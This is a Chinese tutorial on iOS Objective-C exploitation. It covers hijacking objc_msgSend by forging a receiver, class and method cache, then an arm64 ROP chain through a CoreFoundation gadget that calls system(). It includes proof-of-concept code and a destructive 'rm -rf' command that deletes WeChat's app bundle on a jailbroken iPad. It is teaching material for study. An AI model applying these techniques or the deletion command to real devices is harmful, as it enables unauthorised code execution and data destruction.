iOS冰与火之歌 – Objective-C Pwn and iOS arm64 ROP
蒸米 · 2016/01/26 10:29
0x00 序
冰指的是用戶態(tài),火指的是內(nèi)核態(tài)。如何突破像冰箱一樣的用戶態(tài)沙盒最終到達(dá)并控制如火焰一般燃燒的內(nèi)核就是《iOS冰與火之歌》這一系列文章將要講述的內(nèi)容。目錄如下:
另外文中涉及代碼可在我的github下載:
github.com/zhengmin198…
0x01 什么是Objective-C
Objective-C是擴(kuò)充C的面向?qū)ο缶幊陶Z(yǔ)言。語(yǔ)法和C非常像,但實(shí)現(xiàn)的機(jī)制卻和java非常像。我們先來(lái)看一個(gè)簡(jiǎn)單的Hello,World程序了解一下。
#!objc Talker.h: #import <Foundation/Foundation.h> @interface Talker : NSObject - (void) say: (NSString*) phrase; @endTalker.m: #import "Talker.h" @implementation Talker - (void) say: (NSString*) phrase {NSLog(@"[email?protected]", phrase); } @endhello.m: int main(void) { Talker *talker = [[Talker alloc] init];[talker say: @"Hello, Ice and Fire!"];[talker say: @"Hello, Ice and Fire!"];[talker release]; } 復(fù)制代碼因?yàn)闇y(cè)試機(jī)是ipad mini 4,這里我們只編譯一個(gè)arm64版本的hello。我們先make一下,然后我們用scp把hello傳到我們的ipad上面,然后嘗試運(yùn)行一下:
如果我們能夠看到”Hello, Ice and Fire!”,那么我們的第一個(gè)Objective-C程序就完成了。
0x02 Objc_msgSend
我們接下來(lái)看一下用ida對(duì)hello進(jìn)行反匯編后的結(jié)果:
我們發(fā)現(xiàn)程序中充滿了objc_msgSend()這個(gè)函數(shù)。這個(gè)函數(shù)可以說(shuō)是Objective-C的靈魂函數(shù)。在Objective-C中,message與方法的真正實(shí)現(xiàn)是在執(zhí)行階段綁定的,而非編譯階段。編譯器會(huì)將消息發(fā)送轉(zhuǎn)換成對(duì)objc_msgSend方法的調(diào)用。
objc_msgSend方法含兩個(gè)必要參數(shù):receiver、方法名(即:selector)。比如如:
[receiver message];將被轉(zhuǎn)換為:objc_msgSend(receiver, selector);
另外每個(gè)對(duì)象都有一個(gè)指向所屬類的指針isa。通過(guò)該指針,對(duì)象可以找到它所屬的類,也就找到了其全部父類,如下圖所示:
當(dāng)向一個(gè)對(duì)象發(fā)送消息時(shí),objc_msgSend方法根據(jù)對(duì)象的isa指針找到對(duì)象的類,然后在類的調(diào)度表(dispatch table)中查找selector。如果無(wú)法找到selector,objc_msgSend通過(guò)指向父類的指針找到父類,并在父類的調(diào)度表(dispatch table)中查找selector,以此類推直到NSObject類。一旦查找到selector,objc_msgSend方法根據(jù)調(diào)度表的內(nèi)存地址調(diào)用該實(shí)現(xiàn)。通過(guò)這種方式,message與方法的真正實(shí)現(xiàn)在執(zhí)行階段才綁定。
為了保證消息發(fā)送與執(zhí)行的效率,系統(tǒng)會(huì)將全部selector和使用過(guò)的方法的內(nèi)存地址緩存起來(lái)。每個(gè)類都有一個(gè)獨(dú)立的緩存,緩存包含有當(dāng)前類自己的selector以及繼承自父類的selector。查找調(diào)度表(dispatch table)前,消息發(fā)送系統(tǒng)首先檢查receiver對(duì)象的緩存。緩存命中的情況下,消息發(fā)送(messaging)比直接調(diào)用方法(function call)只慢一點(diǎn)點(diǎn)。
其實(shí)關(guān)于objc_msgSend這個(gè)函數(shù),Apple已經(jīng)提供了源碼
(比如arm64版本: www.opensource.apple.com/source/objc…)
為了有更高的效率,objc_msgSend這個(gè)函數(shù)是用匯編實(shí)現(xiàn)的:
首先函數(shù)會(huì)檢測(cè)傳遞進(jìn)來(lái)的第一個(gè)對(duì)象是否為空,然后計(jì)算MASK。隨后就會(huì)進(jìn)入緩存函數(shù)去尋找是否有selector對(duì)應(yīng)的緩存:
如果這個(gè)selector曾經(jīng)被調(diào)用過(guò),那么在緩存中就會(huì)保存這個(gè)selector對(duì)應(yīng)的函數(shù)地址,如果這個(gè)函數(shù)再一次被調(diào)用,objc_msgSend()會(huì)直接跳轉(zhuǎn)到緩存的函數(shù)地址。
但正因?yàn)檫@個(gè)機(jī)制,如果我們可以偽造一個(gè)receiver對(duì)象的話,我們就可以構(gòu)造一個(gè)緩存的selector的函數(shù)地址,隨后objc_msgSend()就會(huì)跳轉(zhuǎn)到我們偽造的緩存函數(shù)地址上,從而讓我們可以控制PC指針。
0x03 動(dòng)態(tài)調(diào)試Objc_msgSend
在我們講如何偽造objc對(duì)象控制pc前,我們先分析一下運(yùn)行時(shí)的Objc_msgSend()函數(shù)。這里我們用lldb進(jìn)行調(diào)試。我們先在ipad上用debugserver啟動(dòng)hello這個(gè)程序:
#!bash Minde-iPad:/tmp root# debugserver *:1234 ./hello debugserver-@(#)PROGRAM:debugserver PROJECT:debugserver-340.3.51.1for arm64. Listening to port 1234 for a connection from *... Got a connection, launched process ./hello (pid = 1546). 復(fù)制代碼然后在自己的pc上用lldb進(jìn)行遠(yuǎn)程連接:
#!bash lldb (lldb) process connect connect://localhost:5555 2016-01-17 14:58:39.540 lldb[59738:4122180] Metadata.framework [Error]: couldn't get the client port Process 1546 stopped * thread #1: tid = 0x2b92f, 0x0000000120041000 dyld`_dyld_start, stop reason = signal SIGSTOPframe #0: 0x0000000120041000 dyld`_dyld_start dyld`_dyld_start: -> 0x120041000 <+0>: mov x28, sp0x120041004 <+4>: and sp, x28, #0xfffffffffffffff00x120041008 <+8>: movz x0, #00x12004100c <+12>: movz x1, #0 復(fù)制代碼接著我們可以在main函數(shù)那里設(shè)置一個(gè)斷點(diǎn):
#!bash (lldb) break set --name main Breakpoint 1: no locations (pending). WARNING: Unable to resolve breakpoint to any actual locations. (lldb) c Process 1546 resuming 1 location added to breakpoint 1 7 locations added to breakpoint 1 Process 1546 stopped * thread #1: tid = 0x2b92f, 0x0000000100063e48 hello`main, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1frame #0: 0x0000000100063e48 hello`main hello`main: -> 0x100063e48 <+0>: stp x22, x21, [sp, #-48]!0x100063e4c <+4>: stp x20, x19, [sp, #16]0x100063e50 <+8>: stp x29, x30, [sp, #32]0x100063e54 <+12>: add x29, sp, #32 復(fù)制代碼我們用disas反編譯一下main函數(shù):
接下來(lái)我們?cè)?x100063e94和0x100063ea4處下兩個(gè)斷點(diǎn):
#!bash (lldb) b *0x100063e94 Breakpoint 2: where = hello`main + 76, address = 0x0000000100063e94 (lldb) b *0x100063ea4 Breakpoint 3: where = hello`main + 92, address = 0x0000000100063ea4 復(fù)制代碼隨后我們繼續(xù)運(yùn)行程序,然后用po $x0和x/s $x1可以看到receiver和selector的內(nèi)容:
#!bash (lldb) c Process 1546 resuming Process 1546 stopped * thread #1: tid = 0x2b92f, 0x0000000100063e94 hello`main + 76, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1frame #0: 0x0000000100063e94 hello`main + 76 hello`main: -> 0x100063e94 <+76>: bl 0x100063f18 ; symbol stub for: objc_msgSend0x100063e98 <+80>: mov x0, x190x100063e9c <+84>: mov x1, x200x100063ea0 <+88>: mov x2, x21 (lldb) po $x0 <Talker: 0x154604510>(lldb) x/s $x1 0x100063f77: "say:" 復(fù)制代碼這里可以看到receiver和selector分別為Talker和say。因此我們可以通過(guò)po $x2來(lái)知道say這個(gè)方法的參數(shù)的內(nèi)容,也就是“ Hello, Ice and Fire!”:
#!bash (lldb) po $x2 Hello, Ice and Fire! 復(fù)制代碼隨后我們用si命令進(jìn)入objc_msgSend()這個(gè)函數(shù):
#!bash * thread #1: tid = 0x2b92f, 0x0000000199c1dbc0 libobjc.A.dylib`objc_msgSend, queue = 'com.apple.main-thread', stop reason = instruction step intoframe #0: 0x0000000199c1dbc0 libobjc.A.dylib`objc_msgSend libobjc.A.dylib`objc_msgSend: -> 0x199c1dbc0 <+0>: cmp x0, #00x199c1dbc4 <+4>: b.le 0x199c1dc2c ; <+108>0x199c1dbc8 <+8>: ldr x13, [x0]0x199c1dbcc <+12>: and x9, x13, #0x1fffffff8 復(fù)制代碼我們接著使用disas來(lái)看一下objc_msgSend的匯編代碼:
#!bash (lldb) disas libobjc.A.dylib`objc_msgSend:0x199c1dbc0 <+0>: cmp x0, #0 -> 0x199c1dbc4 <+4>: b.le 0x199c1dc2c ; <+108>0x199c1dbc8 <+8>: ldr x13, [x0]0x199c1dbcc <+12>: and x9, x13, #0x1fffffff80x199c1dbd0 <+16>: ldp x10, x11, [x9, #16]0x199c1dbd4 <+20>: and w12, w1, w110x199c1dbd8 <+24>: add x12, x10, x12, lsl #40x199c1dbdc <+28>: ldp x16, x17, [x12]0x199c1dbe0 <+32>: cmp x16, x10x199c1dbe4 <+36>: b.ne 0x199c1dbec ; <+44> 0x199c1dbe8 <+40>: br x17…… 復(fù)制代碼可以看到objc_msgSend最開(kāi)始做的事情就是從class的緩存中獲取selector和對(duì)應(yīng)的地址(ldp x16, x17, [x12]),然后用緩存的selector和objc_msgSend()的selector進(jìn)行比較(cmp x16, x1),如果匹配的話就跳轉(zhuǎn)到緩存的selector的地址上(br x17)。但由于我們是第一次執(zhí)行[talker say],緩存中并沒(méi)有對(duì)應(yīng)的函數(shù)地址,因此objc_msgSend()還要繼續(xù)執(zhí)行_objc_msgSend_uncached_impcache去類的方法列表里查找say這個(gè)函數(shù)的地址。
那么我們就繼續(xù)執(zhí)行程序,來(lái)看一下第二次調(diào)用say函數(shù)的話會(huì)怎么樣。
#!bash (lldb) disas libobjc.A.dylib`objc_msgSend:0x199c1dbc0 <+0>: cmp x0, #00x199c1dbc4 <+4>: b.le 0x199c1dc2c ; <+108>0x199c1dbc8 <+8>: ldr x13, [x0]0x199c1dbcc <+12>: and x9, x13, #0x1fffffff80x199c1dbd0 <+16>: ldp x10, x11, [x9, #16] -> 0x199c1dbd4 <+20>: and w12, w1, w11 復(fù)制代碼當(dāng)我們繼續(xù)執(zhí)行程序進(jìn)入objc_msgSend后,在執(zhí)行完"ldp x10, x11, [x9, #16]"這條指令后,x10會(huì)指向保存了緩存數(shù)據(jù)的地址。我們用x/10gx $x10來(lái)查看一下這個(gè)地址的數(shù)據(jù),可以看到init()和say()這兩個(gè)函數(shù)都已經(jīng)被緩存了:
#!bash (lldb) x/10gx $x100x146502e10: 0x0000000000000000 0x0000000000000000 0x146502e20: 0x0000000000000000 0x0000000000000000 0x146502e30: 0x000000018b0f613e 0x0000000199c26a6c 0x146502e40: 0x0000000100053f37 0x0000000100053ea4 0x146502e50: 0x0000000000000004 0x000000019ccad6f8 (lldb) x/s 0x000000018b0f613e 0x18b0f613e: "init" (lldb) x/s 0x0000000100053f37 0x100053f37: "say:" 復(fù)制代碼前一個(gè)數(shù)據(jù)是selector的地址,后一個(gè)數(shù)據(jù)就是selector對(duì)應(yīng)的函數(shù)地址,比如say()這個(gè)函數(shù):
#!bash (lldb) x/10i 0x0000000100053ea40x100053ea4: 0xa9bf7bfd stp x29, x30, [sp, #-16]!0x100053ea8: 0x910003fd mov x29, sp0x100053eac: 0xd10043ff sub sp, sp, #160x100053eb0: 0xf90003e2 str x2, [sp]0x100053eb4: 0x10000fa0 adr x0, #500 ; @"[email?protected]"0x100053eb8: 0xd503201f nop 0x100053ebc: 0x94000004 bl 0x100053ecc ; symbol stub for: NSLog0x100053ec0: 0x910003bf mov sp, x290x100053ec4: 0xa8c17bfd ldp x29, x30, [sp], #160x100053ec8: 0xd65f03c0 ret 復(fù)制代碼0x04 偽造ObjC對(duì)象控制PC
正如我之前提到的,如果我們可以偽造一個(gè)ObjC對(duì)象,然后構(gòu)造一個(gè)假的cache的話,我們就有機(jī)會(huì)控制PC指針了。既然如此我們就來(lái)試一下吧。首先我們需要找到selector在內(nèi)存中的地址,這個(gè)問(wèn)題可以使用NSSelectorFromString()這個(gè)系統(tǒng)自帶的API來(lái)解決,比如我們想知道”release”這個(gè)selector的地址,就可以使用NSSelectorFromString(@"release")來(lái)獲取。
隨后我們要構(gòu)建一個(gè)假的receiver,假的receiver里有一個(gè)指向假的objc_class的指針,假的objc_class里又保存了假的cache_buckets的指針和mask。假的cache_buckets的指針最終指向我們將要偽造的selector和selector函數(shù)的地址:
#!objc struct fake_receiver_t {uint64_t fake_objc_class_ptr; }fake_receiver;struct fake_objc_class_t {char pad[0x10];void* cache_buckets_ptr;uint32_t cache_bucket_mask; } fake_objc_class;struct fake_cache_bucket_t {void* cached_sel;void* cached_function; } fake_cache_bucket; 復(fù)制代碼接下來(lái)我們?cè)趍ain函數(shù)中嘗試將talker這個(gè)receiver改成我們偽造的receiver,然后利用偽造的”release” selector來(lái)控制PC指向0x41414141414141這個(gè)地址:
#!objc int main(void) {Talker *talker = [[Talker alloc] init];[talker say: @"Hello, Ice and Fire!"];[talker say: @"Hello, Ice and Fire!"];[talker release];fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");NSLog(@"cached_sel = %p", NSSelectorFromString(@"release"));fake_cache_bucket.cached_function = (void*)0x41414141414141;NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);fake_objc_class.cache_buckets_ptr = &fake_cache_bucket;fake_objc_class.cache_bucket_mask=0;fake_receiver.fake_objc_class_ptr=&fake_objc_class;talker= &fake_receiver;[talker release]; } 復(fù)制代碼OK,接下來(lái)我們把新編譯的hello傳到我們的ipad上,然后用debugserver進(jìn)行調(diào)試:
#!bash Minde-iPad:/tmp root# debugserver *:1234 ./hello debugserver-@(#)PROGRAM:debugserver PROJECT:debugserver-340.3.51.1for arm64. Listening to port 1234 for a connection from *... Got a connection, launched process ./hello (pid = 1891). 復(fù)制代碼然后我們用lldb進(jìn)行連接,然后直接運(yùn)行:
#!bash MacBookPro:objpwn zhengmin$ lldb (lldb) process connect connect://localhost:5555 2016-01-17 22:02:45.681 lldb[61258:4325925] Metadata.framework [Error]: couldn't get the client port Process 1891 stopped * thread #1: tid = 0x36eff, 0x0000000120029000 dyld`_dyld_start, stop reason = signal SIGSTOPframe #0: 0x0000000120029000 dyld`_dyld_start dyld`_dyld_start: -> 0x120029000 <+0>: mov x28, sp0x120029004 <+4>: and sp, x28, #0xfffffffffffffff00x120029008 <+8>: movz x0, #00x12002900c <+12>: movz x1, #0 (lldb) c Process 1891 resuming 2016-01-17 22:02:48.575 hello[1891:225023] Hello, Ice and Fire! 2016-01-17 22:02:48.580 hello[1891:225023] Hello, Ice and Fire! 2016-01-17 22:02:48.581 hello[1891:225023] cached_sel = 0x18b0f7191 2016-01-17 22:02:48.581 hello[1891:225023] fake_cache_bucket.cached_function = 0x41414141414141 Process 1891 stopped * thread #1: tid = 0x36eff, 0x0041414141414141, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=257, address=0x41414141414141)frame #0: 0x0041414141414141 error: memory read failed for 0x41414141414000 復(fù)制代碼可以看到我們成功的控制了PC,讓PC指向了0x41414141414141。
0x05 iOS上的arm64 ROP
雖然我們控制了PC,但在iOS上我們并不能采用nmap()或者mprotect()將內(nèi)存改為可讀可寫可執(zhí)行,如果我們想要讓程序執(zhí)行一些我們想要的指令的話必須要使用ROP。如果對(duì)于ROP不太了解的話,我推薦閱讀一下我寫的《一步一步學(xué)ROP》系列文章(drops.wooyun.org/papers/1139…)
在各個(gè)系統(tǒng)中ROP的基本思路是一樣的,這里我就簡(jiǎn)單介紹一下iOS上ROP的思路。
首先要知道的是,在iOS上默認(rèn)是開(kāi)啟ASLR+DEP+PIE的。ASLR和DEP很好理解,PIE的意思是program image本身在內(nèi)存中的地址也是隨機(jī)的。所以我們?cè)趇OS上使用ROP技術(shù)必須配合信息泄露的漏洞才行。雖然在iOS上寫ROP非常困難,但有個(gè)好消息是雖然program image是隨機(jī)的,但是每個(gè)進(jìn)程都會(huì)加載的dyld_shared_cache這個(gè)共享緩存的地址在開(kāi)機(jī)后是固定的,并且每個(gè)進(jìn)程的dyld_shared_cache都是相同的。這個(gè)dyld_shared_cache有好幾百M(fèi)大,基本上可以滿足我們對(duì)gadgets的需求。因此我們只要在自己的進(jìn)程獲取dyld_shared_cache的基址就能夠計(jì)算出目標(biāo)進(jìn)程gadgets的位置。
dyld_shared_cache文件一般保存在/System/Library/Caches/com.apple.dyld/這個(gè)目錄下。我們下載下來(lái)以后就可以用ROPgadget這個(gè)工具來(lái)搜索gadget了。我們先實(shí)現(xiàn)一個(gè)簡(jiǎn)單的ROP,用system()函數(shù)執(zhí)行”touch /tmp/IceAndFire”。因?yàn)槲覀儀0是我們控制的fake_receiver的地址,因此我們可以搜索利用x0來(lái)控制其他寄存器的gadgets。比如下面這條:
#!bash ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1 復(fù)制代碼隨后我們可以構(gòu)造一個(gè)假的結(jié)構(gòu)體,然后給對(duì)應(yīng)的寄存器賦值:
#!objc struct fake_receiver_t {uint64_t fake_objc_class_ptr;uint8_t pad1[0x70-0x8];uint64_t x0;uint8_t pad2[0x98-0x70-0x8];uint64_t x1;char cmd[1024]; }fake_receiver;fake_receiver.x0=(uint64_t)&fake_receiver.cmd; fake_receiver.x1=(void *)dlsym(RTLD_DEFAULT, "system"); NSLog(@"system_address = %p", (void*)fake_receiver.x1); strcpy(fake_receiver.cmd, "touch /tmp/IceAndFire"); 復(fù)制代碼最后我們將cached_function的值指向我們gagdet的地址就能控制程序執(zhí)行system()指令了:
#!objc uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation"); NSLog(@"CoreFoundationbase address = %p", (void*)CoreFoundation_base);//0x00000000000dcf7c ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1 fake_cache_bucket.cached_function = (void*)CoreFoundation_base + 0x00000000000dcf7c; NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function); 復(fù)制代碼編譯完后,我們將hello這個(gè)程序傳輸?shù)絠OS上測(cè)試一下:
發(fā)現(xiàn)/tmp目錄下已經(jīng)成功的創(chuàng)建了IceAndFire這個(gè)文件了。
有人覺(jué)得只是在tmp目錄下touch一個(gè)文件并不過(guò)癮,那么我們就嘗試一下刪除其他應(yīng)用吧。應(yīng)用的運(yùn)行文件都保存在”/var/mobile/Containers/Bundle/Application/”目錄下,比如微信的運(yùn)行程序就在”/var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/WeChat.app/WeChat”下(注意ED6F728B-CC15-466B-942B-FBC4C534FF95這個(gè)值是在app安裝時(shí)隨機(jī)分配的)。于是我們將cmd指令換成:
#!objc strcpy(fake_receiver.cmd, "rm -rf /var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/"); 復(fù)制代碼然后再執(zhí)行一下hello這個(gè)程序。程序運(yùn)行后我們會(huì)發(fā)現(xiàn)微信的app圖標(biāo)還在,但當(dāng)我們嘗試打開(kāi)微信的時(shí)候app就會(huì)秒退。這是因?yàn)殡m然app被刪了但springboard依然會(huì)有圖標(biāo)的緩存。這時(shí)候我們只要重啟一下springboard或者手機(jī)就可以清空對(duì)應(yīng)的圖標(biāo)的緩存了。這也就是為啥demo中的視頻需要重啟一下手機(jī)的原因:
0x06 總結(jié)
這篇文章簡(jiǎn)單介紹了iOS上Objective-C 的利用以及iOS 上arm64 ROP,這些都是越獄需要掌握的最基本的知識(shí)。要注意的事,能做到執(zhí)行system指令是因?yàn)槲覀兪窃谠姜z環(huán)境下以root身份運(yùn)行了我們的程序,在非越獄模式下app是沒(méi)有權(quán)限執(zhí)行這些system指令的,想要做到這一點(diǎn)必須利用沙箱逃逸的漏洞才行,我們會(huì)在隨后的文章中介紹這些過(guò)沙箱的技術(shù),敬請(qǐng)期待。
另外,另外文中涉及代碼可在我的github下載:
github.com/zhengmin198…
0x07 參考資料
總結(jié)
以上是生活随笔為你收集整理的iOS冰与火之歌 – Objective-C Pwn and iOS arm64 ROP的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: Android高手进阶教程(一)----
- 下一篇: python 课后习题:项目二数据分析之